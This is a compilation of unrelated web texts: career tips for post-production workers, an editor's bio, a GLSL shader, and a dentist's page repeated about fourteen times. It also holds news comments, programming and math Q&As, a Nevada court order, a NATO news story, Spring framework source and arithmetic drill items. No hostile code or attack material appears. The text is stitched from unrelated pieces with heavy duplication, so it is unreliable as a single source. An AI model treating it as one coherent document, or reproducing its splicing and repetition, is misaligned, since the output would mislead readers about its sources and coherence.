Stay firm in your #goals, flexible in your plans. #100CareerTips
Day 70:
Prioritize opportunities that benefit no less than two of these three things: your bank account / your resumé / your soul. #100CareerTips
Day 71:
Have a good answer to what you want as the **next** step in your career. It doesn’t have to be your dream job, but something realistic and possible for others to recommend you for. If you’re an #intern then “Production Assistant” is a good answer, “Director of the next @Marvel movie” is not. Today’s advice from @IamPliny telling it like it is. #100CareerTips
Day 72:
“Accept the generosity of others. It instills the urge to return the favor when you can and/or pay it forward to others, and it naturally leads to more opportunities to spend more time with that person. (e.g. if someone buys me lunch, I can say I’ll buy them lunch next time, and now one lunch has turned into two lunches!)” great #advice from @matt35mm #100CareerTips #postchat #mentorship
Day 73:
Negativity often comes from your co-workers fear and worry. Once you figure out why and where this comes from, you can answer those fears and worries in a more productive and collaborative way. From @schnittman the eternally wise.
Day 74:
Get the f***k out of your comfort zone.
Day 75:
Treat your creativity as the most important asset in your career: Protect it, nurture it, and invest in improving it every single day. #Mentorship #wisdom from @ZackArnoldACE for #CreativeIndustries #100CareerTips #postproduction
Day 76:
It’s better to ask a silly question than to make a silly mistake. #100CareerTips
Day 77:
This one is for Managers: don’t just offer people opportunities to succeed, offer them opportunities to fail, too. Especially underrepresented people in your field. They rarely get a pass to take risks #100CareerTips
Day 78:
We generally let a member of our team know when they’ve messed up. But how often do we remember to let them know when they’ve done a great job? Create a culture of open and well-rounded feedback, and it will come back around to benefit you, too. #100CareerTips
Day 79:
Build a perfectly-crafted playlist for when you’re client-supervised but not working on audio. It can put the client in a relaxed and positive mood, and fill in awkward silences so you can get on with the job #100CareerTipsI actually have several playlists on standby, because not all genres of music work for all people. That said, there are a few kinds of music that always go down well, and they feature on my main client playlist.
Day 80:
You can learn something from anyone. Don’t miss the opportunity. Excellent #career wisdom from @Dr0id #100CareerTips
Day 81:
Careers are not ladders. It’s rock climbing. @Itshella_dom said this and it’s something I remind people all the time. #100CareerTips
Day 82:
Nothing is impossible, given the right conditions. #100CareerTips
Day 83:
@hurkman has a practical piece of advice for #100CareerTips “If you discover you’re talking yourself into a shot being fine, it’s not. In the time you spent convincing yourself there’s not a problem, you could probably just have solved the problem.”
Day 84:
Pace yourself. Break things down, and figure out your milestones so you know you’re on track to complete a task in the time allocated. Great time management reduces stress in both you and your clients. #100CareerTips
Day 85:
Today’s wisdom courtesy of @ZackArnoldACE – The faster you embrace failure, the faster you will experience success. Fail fast and fail often. And be willing to laugh about it. #100CareerTips
Day 86:
1 in 5 people live with mental illness. In creative industries, the numbers are even higher. Acknowledge your needs, boundaries and support systems to always be at your best. #100CareerTips
Day 87:
“If you’re offered a seat on a rocket ship, don’t ask what seat! Just get on.” Sheryl Sandberg #100CareerTips
Day 88:
In a job interview, ask them “based on my resume, and upon meeting me, in what ways do you think I will excel in this position?” #badass #100CareerTips #powermove
Day 89:
Focus less on investing your time learning specific technologies and instead focus on telling better stories. The technology is secondary and will always change. Nobody can ever take away your ability to tell a good story. Wise words for #filmmakers and #postproduction from @ZackArnoldACE #100CareerTips
Day 90:
“There are no shortcuts to any place worth going.” said Opera Singer Beverly Sills. A successful #career is built on a strong foundation. Putting in the work pays off, be patient. #100CareerTips
Day 91:
“When you hit that time of day when things start taking twice as long as they usually do, go to bed. It’s probably 1am. You’ll work faster tomorrow morning.” @hurkman #100CareerTips
Day 92:
Decisiveness is a skill that can make or break a #postproduction career. Improve this skill by never questioning a decision after its made. Don’t ask “what if”, or keep looking after you’ve purchased something. It will help your confidence in key professional moments #100CareerTipsTo clarify, this is a practice to help you be more confident in being decisive. For example, if you buy a car, don’t go online the next day looking at cars for sale to see what you missed.Decisiveness goes hand in hand with confidence. If you are confident, you’re able to make key decisions when necessary, easily. For many, indecisiveness is little more than self-doubt. And that can seriously get in the way of professional success.
Keep a simple website fresh. It’s a great networking tool, you can offer someone your resume, reel, contact details and a bit of creative personality all in one simple URL. @squarespace is foolproof and cheap #100CareerTips #postchat #NotAnAdvert
Day 95:
Gather your squad/coven/gang/pit crew. Find a small group of people you trust, with whom you can share advice & support, give feedback, nominate each other for opportunities and recognition, and back each other up. #BeyondMentorship #100CareerTips #SquadGoals
Day 96:
Leadership isn’t something that happens because you’ve been around the longest. Leadership is a specific skill which comes more naturally to some than others. If you want to be a leader, don’t just do your time to “earn” it, but learn it. #100CareerTips
Day 97:
It’s okay to not have an end-goal or long-term aspiration sometimes, especially early-career. As long as you know where you want to go next, on your path to figuring it out.
Day 98:
For many of us with high-profile gigs on our resumes, the secret has simply been opportunity. Being in the right place, right time, with the right skills. We’re all just human, some of us just live in a place where big projects happen more often. So remember that when you wonder what makes your idols so great. Everyone started somewhere, some roads just lead to bigger towns than others.
Day 99:
If you look back at the past 98 of #100CareerTips you’ll see contradictions, inconsistencies, things that you agree with and things you don’t. There’s no hard set of rules to #success. Take a broad spectrum of advice and do what’s right for you.
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Katie Hinsen
Katie Hinsen is an international award-winning Finishing Artist with credits on over 80 major productions. Over a 20-year career she has worked as an engineer, editor, VFX artist, Stereoscopic 3D artist, colorist and finishing artist; on commercials, documentaries, television, music videos, short and feature films.
Katie has throughout her career been involved in both production and R&D of new digital acquisition and distribution formats including Stereoscopic/Autostereoscopic 3D, RED, HFR, HDR, 4K+ and DCP. She is considered both a world expert in a number of technologies including High Dynamic Range and High Resolution 4K-8K workflows, and celebrated as a major Thought Leader in the post production industry, writing, advising and speaking at industry conferences.
Outside of the office she is a passionate advocate for emerging talent, speaking at industry events, providing mentorship, and serving a number of industry-based non-profit organizations including Gaia Community Initiatives and the One Voice project in New Zealand, and the Blue Collar Post Collective and Society of Motion Picture & Television Engineers (SMPTE) in the United States. In addition to her technical expertise, Hinsen is an expert in the issues of talent development, diversity and mentorship. |
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#define a(x) abs(x)
#define d(x,b) (pi*b*min(a(x)+0.5,1.0/b))
#define e(x,b) (pi*b*min(max(a(x)-0.5,-1.0/b),1.0/b))
#define STU(x,b) ((d(x,b)+sin(d(x,b))-e(x,b)-sin(e(x,b)))/(2.0*pi))
#define X(i) (offset-(i))
#define GETC (texture(source[0], vec2(texCoord.x - X*sourceSize[0].z,texCoord.y)).xyz)
#ifdef COMPOSITE_CONNECTION
#define VAL vec3((c.x*STU(X,(SIGNAL_RESOLUTION*sourceSize[0].z))),(c.y*STU(X,(SIGNAL_RESOLUTION_I*sourceSize[0].z))),(c.z*STU(X,(SIGNAL_RESOLUTION_Q*sourceSize[0].z))))
#else
#define VAL (c*STU(X,(SIGNAL_RESOLUTION*sourceSize[0].z)))
#endif //COMPOSITE_CONNECTION
#define PROCESS(i) X=X(i);c=GETC;tempColor+=VAL;
uniform sampler2D source[];
uniform vec4 sourceSize[];
in Vertex {
vec2 texCoord;
};
out vec4 fragColor;
void main() {
float offset = fract((texCoord.x * sourceSize[0].x) - 0.5);
vec3 tempColor = vec3(0.0);
float X;
vec3 c;
PROCESS(-6)PROCESS(-5)PROCESS(-4)PROCESS(-3)PROCESS(-2)PROCESS(-1)PROCESS( 0)
PROCESS( 7)PROCESS( 6)PROCESS( 5)PROCESS( 4)PROCESS( 3)PROCESS( 2)PROCESS( 1)
#ifdef COMPOSITE_CONNECTION
tempColor=clamp(YIQ_to_RGB*tempColor,0.0,1.0);
#endif
tempColor=clamp(pow(tempColor,vec3(TV_DISPLAY_GAMMA)),0.0,1.0);
fragColor = vec4(tempColor,1.0);
}
|
We would like to welcome you to our office. We take great satisfaction in helping you to maintain optimal oral health. Our practice is devoted to comprehensive and preventive patient care.
Our patients are our most important asset, and we strive to develop long-lasting, trusting relationships with all of our patients. Anytime we can make your visit more comfortable, let us know. It's our pleasure to help.
We look forward to seeing you!
We are open from:
M- Th: 8:00 am to 5:00 pm
Fri : 8:00 am to 2:00 pm
Sat : 8:00 am to 2:00 pm (Every other)
<< PreviousNext >>
Welcome to Okun Dentistry
For our 40th Year in Business Celebration:
We are offering 40% off whitening. Originally $400.Now Only $240
We would like to welcome you to our office. We take great satisfaction in helping you to maintain optimal oral health. Our practice is devoted to comprehensive and preventive patient care.
Our patients are our most important asset, and we strive to develop long-lasting, trusting relationships with all of our patients. Anytime we can make your visit more comfortable, let us know. It's our pleasure to help.
We look forward to seeing you!
We are open from:
M- Th: 8:00 am to 5:00 pm
Fri : 8:00 am to 2:00 pm
Sat : 8:00 am to 2:00 pm (Every other)
<< PreviousNext >>
Welcome to Okun Dentistry
For our 40th Year in Business Celebration:
We are offering 40% off whitening. Originally $400.Now Only $240
We would like to welcome you to our office. We take great satisfaction in helping you to maintain optimal oral health. Our practice is devoted to comprehensive and preventive patient care.
Our patients are our most important asset, and we strive to develop long-lasting, trusting relationships with all of our patients. Anytime we can make your visit more comfortable, let us know. It's our pleasure to help.
We look forward to seeing you!
We are open from:
M- Th: 8:00 am to 5:00 pm
Fri : 8:00 am to 2:00 pm
Sat : 8:00 am to 2:00 pm (Every other)
<< PreviousNext >>
Welcome to Okun Dentistry
For our 40th Year in Business Celebration:
We are offering 40% off whitening. Originally $400.Now Only $240
We would like to welcome you to our office. We take great satisfaction in helping you to maintain optimal oral health. Our practice is devoted to comprehensive and preventive patient care.
Our patients are our most important asset, and we strive to develop long-lasting, trusting relationships with all of our patients. Anytime we can make your visit more comfortable, let us know. It's our pleasure to help.
We look forward to seeing you!
We are open from:
M- Th: 8:00 am to 5:00 pm
Fri : 8:00 am to 2:00 pm
Sat : 8:00 am to 2:00 pm (Every other)
<< PreviousNext >>
Welcome to Okun Dentistry
For our 40th Year in Business Celebration:
We are offering 40% off whitening. Originally $400.Now Only $240
We would like to welcome you to our office. We take great satisfaction in helping you to maintain optimal oral health. Our practice is devoted to comprehensive and preventive patient care.
Our patients are our most important asset, and we strive to develop long-lasting, trusting relationships with all of our patients. Anytime we can make your visit more comfortable, let us know. It's our pleasure to help.
We look forward to seeing you!
We are open from:
M- Th: 8:00 am to 5:00 pm
Fri : 8:00 am to 2:00 pm
Sat : 8:00 am to 2:00 pm (Every other)
<< PreviousNext >>
Welcome to Okun Dentistry
For our 40th Year in Business Celebration:
We are offering 40% off whitening. Originally $400.Now Only $240
We would like to welcome you to our office. We take great satisfaction in helping you to maintain optimal oral health. Our practice is devoted to comprehensive and preventive patient care.
Our patients are our most important asset, and we strive to develop long-lasting, trusting relationships with all of our patients. Anytime we can make your visit more comfortable, let us know. It's our pleasure to help.
We look forward to seeing you!
We are open from:
M- Th: 8:00 am to 5:00 pm
Fri : 8:00 am to 2:00 pm
Sat : 8:00 am to 2:00 pm (Every other)
<< PreviousNext >>
Welcome to Okun Dentistry
For our 40th Year in Business Celebration:
We are offering 40% off whitening. Originally $400.Now Only $240
We would like to welcome you to our office. We take great satisfaction in helping you to maintain optimal oral health. Our practice is devoted to comprehensive and preventive patient care.
Our patients are our most important asset, and we strive to develop long-lasting, trusting relationships with all of our patients. Anytime we can make your visit more comfortable, let us know. It's our pleasure to help.
We look forward to seeing you!
We are open from:
M- Th: 8:00 am to 5:00 pm
Fri : 8:00 am to 2:00 pm
Sat : 8:00 am to 2:00 pm (Every other)
<< PreviousNext >>
Welcome to Okun Dentistry
For our 40th Year in Business Celebration:
We are offering 40% off whitening. Originally $400.Now Only $240
We would like to welcome you to our office. We take great satisfaction in helping you to maintain optimal oral health. Our practice is devoted to comprehensive and preventive patient care.
Our patients are our most important asset, and we strive to develop long-lasting, trusting relationships with all of our patients. Anytime we can make your visit more comfortable, let us know. It's our pleasure to help.
We look forward to seeing you!
We are open from:
M- Th: 8:00 am to 5:00 pm
Fri : 8:00 am to 2:00 pm
Sat : 8:00 am to 2:00 pm (Every other)
<< PreviousNext >>
Welcome to Okun Dentistry
For our 40th Year in Business Celebration:
We are offering 40% off whitening. Originally $400.Now Only $240
We would like to welcome you to our office. We take great satisfaction in helping you to maintain optimal oral health. Our practice is devoted to comprehensive and preventive patient care.
Our patients are our most important asset, and we strive to develop long-lasting, trusting relationships with all of our patients. Anytime we can make your visit more comfortable, let us know. It's our pleasure to help.
We look forward to seeing you!
We are open from:
M- Th: 8:00 am to 5:00 pm
Fri : 8:00 am to 2:00 pm
Sat : 8:00 am to 2:00 pm (Every other)
<< PreviousNext >>
Welcome to Okun Dentistry
For our 40th Year in Business Celebration:
We are offering 40% off whitening. Originally $400.Now Only $240
We would like to welcome you to our office. We take great satisfaction in helping you to maintain optimal oral health. Our practice is devoted to comprehensive and preventive patient care.
Our patients are our most important asset, and we strive to develop long-lasting, trusting relationships with all of our patients. Anytime we can make your visit more comfortable, let us know. It's our pleasure to help.
We look forward to seeing you!
We are open from:
M- Th: 8:00 am to 5:00 pm
Fri : 8:00 am to 2:00 pm
Sat : 8:00 am to 2:00 pm (Every other)
<< PreviousNext >>
Welcome to Okun Dentistry
For our 40th Year in Business Celebration:
We are offering 40% off whitening. Originally $400.Now Only $240
We would like to welcome you to our office. We take great satisfaction in helping you to maintain optimal oral health. Our practice is devoted to comprehensive and preventive patient care.
Our patients are our most important asset, and we strive to develop long-lasting, trusting relationships with all of our patients. Anytime we can make your visit more comfortable, let us know. It's our pleasure to help.
We look forward to seeing you!
We are open from:
M- Th: 8:00 am to 5:00 pm
Fri : 8:00 am to 2:00 pm
Sat : 8:00 am to 2:00 pm (Every other)
<< PreviousNext >>
Welcome to Okun Dentistry
For our 40th Year in Business Celebration:
We are offering 40% off whitening. Originally $400.Now Only $240
We would like to welcome you to our office. We take great satisfaction in helping you to maintain optimal oral health. Our practice is devoted to comprehensive and preventive patient care.
Our patients are our most important asset, and we strive to develop long-lasting, trusting relationships with all of our patients. Anytime we can make your visit more comfortable, let us know. It's our pleasure to help.
We look forward to seeing you!
We are open from:
M- Th: 8:00 am to 5:00 pm
Fri : 8:00 am to 2:00 pm
Sat : 8:00 am to 2:00 pm (Every other)
<< PreviousNext >>
Welcome to Okun Dentistry
For our 40th Year in Business Celebration:
We are offering 40% off whitening. Originally $400.Now Only $240
We would like to welcome you to our office. We take great satisfaction in helping you to maintain optimal oral health. Our practice is devoted to comprehensive and preventive patient care.
Our patients are our most important asset, and we strive to develop long-lasting, trusting relationships with all of our patients. Anytime we can make your visit more comfortable, let us know. It's our pleasure to help.
We look forward to seeing you!
We are open from:
M- Th: 8:00 am to 5:00 pm
Fri : 8:00 am to 2:00 pm
Sat : 8:00 am to 2:00 pm (Every other)
<< PreviousNext >>
Welcome to Okun Dentistry
For our 40th Year in Business Celebration:
We are offering 40% off whitening. Originally $400.Now Only $240
We would like to welcome you to our office. We take great satisfaction in helping you to maintain optimal oral health. Our practice is devoted to comprehensive and preventive patient care.
Our patients are our most important asset, and we strive to develop long-lasting, trusting relationships with all of our patients. Anytime we can make your visit more comfortable, let us know. It's our pleasure to help.
We look forward to seeing you!
We are open from:
M- Th: 8:00 am to 5:00 pm
Fri : 8:00 am to 2:00 pm
Sat : 8:00 am to 2:00 pm (Every other)
<< PreviousNext >>
Welcome to Okun Dentistry
Our Specials coming up are:
We are offering 40% off whitening. Originally $400.Now Only $240
We update our specials monthly, so check back often!
For the upcoming Holiday Season we are having an Invisalign special!
FALL FOR A BEAUTIFUL SMILE
Dr. Amy will be providing FREE consultations to answer your questions about Invisalilgn treatment, the clear way to straighten your teeth.
If you have wondered if Invisalign is right for you, make an appointment for this SPECIAL EVENT
For anyone that decides to schedule treatment we will also match your DOWN PAYMENT with a dollar value up to $500!! |
That is where the devision started, at least can we learn in this 21st century and be united?
Reply :
02
Patriot (TM) Tuesday, 9 February 2016 11:20
British who sent this, in how many languages, their national anthem "God save the Queen" is sung in UK?
Reply :
11
chandra banda Wednesday, 10 February 2016 07:34
If Prabakaran is here, you won,t sing even in sinhala
Reply :
01
Christine Wednesday, 10 February 2016 14:01
When I read these comments I am ashamed to call myself a Sinhalese.Why these so called Sri Lankan's cant live in Peace without creating new problems? When Tamils are in other countries they call themselves Sri Lankan's more than Sinhalese do. So why cant they live in harmony in their adopted land Sri Lanka for the sake of peace?
Reply :
21
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Comments will be edited (grammar, spelling and slang) and authorized at the discretion of Daily Mirror online. The website also has the right not to publish selected comments. |
Search form
Statutory financial returns
Statements of education spending we submit to The Department for Education.
Under Section 52 of the Schools Standards and Framework Act the county council must submit statements of education spending in a prescribed format to the The Department for Education for both budget and outturn.
The budget statement must be submitted by 31 March ahead of the financial year and the Outturn Statement by 30 September following the year end. |
Q:
How to remove row that exists in another table?
I have two tables. Main table is "CompleteEmailListJuly11" and the second table is "CurrentCustomersEmailJuly11". I want to delete rows in CompleteEmailListJuly11 table that CurrentCustomersEmailJuly11 has based off email.
I've tried this following Delete example, but it doesn't do anything close to what I'm trying to do. This only shows me the ones that EXIST in the database, it doesn't show me the the list of emails that AREN'T matching.
DELETE * FROM CompleteEmailListJuly11 AS i
WHERE EXISTS (
SELECT 1 FROM CurrentCustomersEmailJuly11
WHERE CurrentCustomersEmailJuly11.email = i.EmailAddress
)
Help is greatly appreciated.
A:
This is the query I think you need:
DELETE FROM CompleteEmailListJuly11
WHERE EmailAddress IN (SELECT email FROM CurrentCustomersEmailJuly11)
Ps: The DELETE query does not delete individual fields, only entire rows, so the * is not necessary, you will also need to "Execute" this query rather than "Previewing" or "Exporting"
|
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<style xmlns="http://purl.org/net/xbiblio/csl" class="in-text" version="1.0" demote-non-dropping-particle="sort-only" default-locale="en-US">
<info>
<title>Letters in Applied Microbiology</title>
<title-short>LAM</title-short>
<id>http://www.zotero.org/styles/letters-in-applied-microbiology</id>
<link href="http://www.zotero.org/styles/letters-in-applied-microbiology" rel="self"/>
<link href="http://www.zotero.org/styles/journal-of-zoology" rel="template"/>
<link href="http://onlinelibrary.wiley.com/journal/10.1111/(ISSN)1472-765X/homepage/ForAuthors.html" rel="documentation"/>
<author>
<name>Patrick O'Brien</name>
</author>
<category citation-format="author-date"/>
<category field="biology"/>
<issn>0266-8254</issn>
<eissn>1472-765X</eissn>
<updated>2018-01-25T11:54:47+00:00</updated>
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|
Q:
Endomorphisms preserve Haar measure
I am having trouble following the argument in page 21 of P. Walters, Intro. to ergodic theory, of the following statement:
Any continuous endomorphism on a compact group preserves Haar measure.
Obviously, this is not true as stated, as the trivial homomorphism does not preserve Haar measure. Even restricting ourselves to nontrivial homomorphisms, I am still unable to follow the argument, which is as follows:
Let $A : G \rightarrow G$ be the endomorphism and let $m$ denote the Haar measure. Define a probability measure on Borel sets $\mu(E) = m(A^{-1}(E))$ . Now,
$$ \mu(Ax.E) = m(A^{-1}(Ax.E)) = m(x.A^{-1}E) = \mu(E) .$$
I agree with the first equality by definition, and the last equality because of $m$ being a Haar measure. But I am unable to fathom why the middle equality is true.
Moreover, even if the said equality is true, the rest of the proof goes as follows: We see that $\mu$ is rotation invariant, and we use the uniqueness of Haar measure to prove that $\mu = m$. In this, I am unable to see how the above equality assures that $\mu$ is rotation-invariant.
Help would be appreciated.
A:
The moral is that you have to assume surjectivity of $A$.
For the middle equality: we have $A^{-1}(Ax.E)=x.A^{-1}E$ as sets:
$y\in A^{-1}(Ax.E)$ means $Ay\in Ax.E$ means $A(x^{-1}y)\in E$, while
$y\in x.A^{-1}E$ means $x^{-1}y\in A^{-1}E$.
For the rotation-invariance: we now see $\mu(Ax.E)=\mu(E)$ for all $x\in G$. In other words, $\mu(y.E)=\mu(E)$ for all $y\in \text{im} A\subset G$. By surjectivity we have $\text{im} A=G$.
|
Hi All, I need some advice on how i could train my German Shepherd to greet visitors calmly. She is about 1.5 years old, sweet and lovely girl, but she gets all jumpy, happy and excited when visitors who she has met before come home. As soon as the door bell rings, she goes nuts, starts barking, pacing around. When my friends come home, she jumps on them and i keep telling my friends to ignore her, but they start petting her, talking to her and she jumps all over them. How can i teach her the right way to greet visitors? |
aggregate percentage of different minority groups in the community, he
failed to allege that a distinct group had been underrepresented. As he
did not allege sufficient facts to warrant further inquiry, the district court
did not err in denying Moreno's claim without conducting an evidentiary
hearing.
Second, Moreno argues that the district court erred in denying
his motion to suppress his statements to police as he invoked his right to
remain silent and his right to counsel. We disagree. The record does not
indicate that Moreno invoked his right to counsel or to remain silent
regarding the instant charges. Moreno was given Miranda' warnings
prior to questioning. He inquired about his representation by counsel as it
related to the other charges for which he was represented, but this mere
inquiry did not amount to an unequivocal invocation of his right to counsel
on the instant charges. See •Berghuis v. Thompkins, 560 U.S. 370, 381
(2010) (providing that an accused must invoke his right to remain silent
unambiguously); Kaczmarek v. State, 120 Nev. 314, 329, 91 P.3d 16, 27
(2004) (requiring unambiguous invocation of right to counsel). Moreno
continued with the interview and did not ask for counsel or express a
desire not to answer questions at any time thereafter. See Berghuis, 560
U.S. at 384 ("Where the prosecution shows that a Miranda warning was
given and that it was understood by the accused, an accused's uncoerced
statement establishes an implied waiver of the right to remain silent.");
Mendoza v. State, 122 Nev. 267, 276, 130 P.3d 176, 182 (2006) (stating
that written or oral statement of waiver of right to remain silent
unnecessary but waiver of right may be inferred from actions and words of
'Miranda v. Arizona, 384 U.S. 436 (1966).
SUPREME COURT
OF
NEVADA
2
(0) 1947A ea
accused). Given this context, the district court did not err in denying the
motion to suppress.
Third, Moreno contends that the district court erred in
permitting the State to shift the burden of proof to Moreno to provide an
alibi during questioning by Detective Nelson. We conclude that the
district court did not err in concluding that no prosecutorial misconduct
occurred. The State's questioning did not suggest that Moreno had to
produce an alibi or testify on his behalf. See Evans v. State, 117 Nev. 609,
631, 28 P.3d 498, 513 (2001) ("Generally, prosecutorial comment on the
failure of the defense to present witnesses or evidence impermissibly shifts
the burden of proof."). Instead, it sought to establish that Moreno had an
opportunity to commit the charged crimes. Moreover, the jury was
instructed that the State bore the burden of proving the facts supporting
the charges beyond a reasonable doubt and that Moreno did not have to
prove his innocence or call witnesses on his behalf. Therefore, the district
court did not abuse its discretion in overruling the objection.
Fourth, Moreno argues that the State introduced evidence
that his DNA was found on a pistol that was found in an uncharged
robbery in violation of a district court order denying the State's motion to
admit evidence of other crimes. We discern no abuse of discretion. See
Mclellan v. State, 124 Nev. 263, 267, 182 P.3d 106, 109 (2008). Although
the district court denied the State's motion to admit evidence of the
uncharged robbery during which the pistol was dropped, the district court
ruled that evidence that Moreno's DNA was found on the pistol was
admissible. The fact that Moreno possessed a pistol less than two weeks
after the charged armed robberies is relevant to whether he committed the
armed robberies. See NRS 48.015 (relevant evidence tends "to make the
SUPREME COURT
OF
NEVADA
3
(01 I94Th
existence of any fact that is of consequenceS to the determination of the
action more or less probable").
Having considered Moreno's contentions and concluding that
they lack merit, we
ORDER the judgment of conviction AFFIRMED.
J.
Gibbons
J.
cc: Hon. Valerie Adair, District Judge
Clark County Public Defender
Attorney General/Carson City
Clark County District Attorney
Eighth District Court Clerk
SUPREME COURT
OF
NEVADA
4
(0) 1947A e
|
Q:
Javascript - Replace all with regex
I want to replace some spaces between some parenthesis with regex. If I use regex only replace some spaces (only unique pairs).
The string may be have others spaces, but I want only the spaces between paranthesis.
var mystring = ") ) ) ) ) )";
console.log(mystring);
mystring = mystring.replace(/\)\s\)/g, "))");
console.log(mystring);
Output is:
) ) ) ) ) )
)) )) ))
But I want to have this output:
) ) ) ) ) )
))))))
A:
The problem is that by consuming the ) ), you no longer have the leading ) when looking at the next part of the string.
Instead of replacing both ), use a positive lookahead assertion to replace only the first and the spaces after it if they're followed by another ):
mystring = mystring.replace(/\)\s(?=\))/g, ")");
// Lookahead ---^^^^^^ ^--- only one ) in replacement
Live Example:
var mystring = ") ) ) ) ) )";
console.log(mystring);
mystring = mystring.replace(/\)\s(?=\))/g, ")");
console.log(mystring);
|
The United States won't waver in its commitment to NATO and Baltic security, Sen. John McCain said Tuesday in Estonia, where he's seeking to soothe anxiety over President-elect Donald Trump's rhetoric.
McCain told reporters that he and Estonia's leaders discussed the outcome of American election, which he conceded came as a surprise after Democratic candidate Hillary Clinton polled so well in the weeks leading up to the vote.
"But I am convinced and certain that our relationship and [...] the American relationship with NATO, will remain the same," he said.
"I think the presence of the American troops here in Estonia is a signal that we believe in what Ronald Reagan believed, and that is peace through strength," McCain added from Tallinn, the Estonian capital. "And the best way to prevent Russian misbehavior by having a credible, strong military and a strong NATO alliance."
Related: Donald Trump Remarks on NATO Trigger Alarm Bells in Europe
While on the campaign trail, Trump raised alarm bells in Estonia, Lithuania, and Latvia when he suggested the U.S. would not necessarily defend new NATO members in the Baltics in the event of a Russian attack. He told The New York Times that it would depend on whether those countries had "fulfilled their obligations to us" in terms of financial contributions to the NATO alliance.
Senator John McCain attends a joint press conference with Estonian President Juri Ratas in Tallinn, Estonia, on Tuesday. Senior Republican senators are meeting with heads of state and top defence officials in Estonia to discuss regional security and NATO plans in Estonia. VALDA KALNINA / EPA
On his three-day visit to the Baltics, McCain, accompanied by fellow Republican senator Lindsey Graham, assured the countries that regardless of who is president, the U.S. would have "a strong and significant response" as long as Putin continued "to occupy Crimea and ... continues to threaten other nations in the region."
The U.S. has had about 150 troops in each of the three Baltic countries plus Poland since April 2014. Russia annexed Crimea in 2014, a move that stoked fears that Moscow would someday try to exercise control over the entire region.
Related: U.S. Officials: Putin Personally Involved in U.S. Election Hack
The U.S. imposed sanctions against Russia after the annexation. McCain said Tuesday he didn't expect the sanctions to be removed.
"That is certainly not the case today as I know it," he said.
McCain and Graham will travel to Latvia on Wednesday and Lithuania on Thursday. They have called for a bipartisan panel to investigate cyber attacks against the U.S. and Russia's alleged attempts to interfere in the U.S. presidential election.
McCain said Tuesday that while there was no doubt that Russians were hacking the U.S., it wasn't clear whether that affected the outcome of the election. |
/*
* Copyright 2002-2017 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.springframework.remoting.rmi;
import org.springframework.aop.framework.ProxyFactory;
import org.springframework.beans.factory.BeanClassLoaderAware;
import org.springframework.beans.factory.FactoryBean;
import org.springframework.util.Assert;
/**
* {@link FactoryBean} for RMI proxies, supporting both conventional RMI services
* and RMI invokers. Exposes the proxied service for use as a bean reference,
* using the specified service interface. Proxies will throw Spring's unchecked
* RemoteAccessException on remote invocation failure instead of RMI's RemoteException.
*
* <p>The service URL must be a valid RMI URL like "rmi://localhost:1099/myservice".
* RMI invokers work at the RmiInvocationHandler level, using the same invoker stub
* for any service. Service interfaces do not have to extend {@code java.rmi.Remote}
* or throw {@code java.rmi.RemoteException}. Of course, in and out parameters
* have to be serializable.
*
* <p>With conventional RMI services, this proxy factory is typically used with the
* RMI service interface. Alternatively, this factory can also proxy a remote RMI
* service with a matching non-RMI business interface, i.e. an interface that mirrors
* the RMI service methods but does not declare RemoteExceptions. In the latter case,
* RemoteExceptions thrown by the RMI stub will automatically get converted to
* Spring's unchecked RemoteAccessException.
*
* <p>The major advantage of RMI, compared to Hessian, is serialization.
* Effectively, any serializable Java object can be transported without hassle.
* Hessian has its own (de-)serialization mechanisms, but is HTTP-based and thus
* much easier to setup than RMI. Alternatively, consider Spring's HTTP invoker
* to combine Java serialization with HTTP-based transport.
*
* @author Juergen Hoeller
* @since 13.05.2003
* @see #setServiceInterface
* @see #setServiceUrl
* @see RmiClientInterceptor
* @see RmiServiceExporter
* @see java.rmi.Remote
* @see java.rmi.RemoteException
* @see org.springframework.remoting.RemoteAccessException
* @see org.springframework.remoting.caucho.HessianProxyFactoryBean
* @see org.springframework.remoting.httpinvoker.HttpInvokerProxyFactoryBean
* @deprecated as of 5.3 (phasing out serialization-based remoting)
*/
@Deprecated
public class RmiProxyFactoryBean extends RmiClientInterceptor implements FactoryBean<Object>, BeanClassLoaderAware {
private Object serviceProxy;
@Override
public void afterPropertiesSet() {
super.afterPropertiesSet();
Class<?> ifc = getServiceInterface();
Assert.notNull(ifc, "Property 'serviceInterface' is required");
this.serviceProxy = new ProxyFactory(ifc, this).getProxy(getBeanClassLoader());
}
@Override
public Object getObject() {
return this.serviceProxy;
}
@Override
public Class<?> getObjectType() {
return getServiceInterface();
}
@Override
public boolean isSingleton() {
return true;
}
}
|
? (a) -2 (b) -1 (c) 1/5
c
Which is the closest to 1? (a) -3 (b) 25.2 (c) 0.2 (d) -1/8
c
Which is the nearest to -0.46? (a) 0 (b) -3 (c) 2
a
Which is the nearest to -3/37? (a) 4 (b) 1 (c) 12 (d) 3
b
What is the nearest to -23 in -0.4, 0.3, 2/9, -5?
-5
Which is the nearest to -5/4? (a) -1/5 (b) 4 (c) 5/2 (d) -1.2
d
Which is the closest to 2? (a) -0.3 (b) -1/21 (c) -1
b
What is the closest to 0.1 in -1, -6, 0.3, -0.2?
0.3
What is the nearest to 1820 in -3, 2/5, -0.05, -2/3?
2/5
Which is the closest to 0.2? (a) 0.4 (b) -83 (c) -5
a
Which is the closest to 7? (a) 0.2 (b) -63 (c) 5 (d) 1
c
What is the closest to -0.1 in 4/5, 3, 0.5?
0.5
What is the closest to 30 in -0.2, 5, 0?
5
Which is the nearest to -2? (a) 5 (b) 0 (c) 0.2 (d) -1/10
d
What is the nearest to 7/2 in -2/5, 2/3, -1/14?
2/3
What is the closest to -2 in 0.3, 5, -0.11?
-0.11
Which is the nearest to 1/29? (a) -8 (b) 1 (c) 3
b
Which is the nearest to -1/3? (a) -5 (b) 3/2 (c) -0.9
c
What is the closest to -3 in 9.4, 2, 2/5?
2/5
What is the nearest to -2 in -0.2, -9, 3/5?
-0.2
What is the closest to 3 in 6, -5, -4/9?
6
Which is the closest to 0.2? (a) 39 (b) 41 (c) 3
c
Which is the closest to 2/9? (a) -3 (b) 3 (c) -2/13 (d) -0.5
c
What is the closest to 1 in 0.5, 4, 47, 9?
0.5
Which is the nearest to 0? (a) 0.03 (b) -5 (c) 4 (d) 0.2
a
What is the nearest to 811 in 0, 3/7, 2/13?
3/7
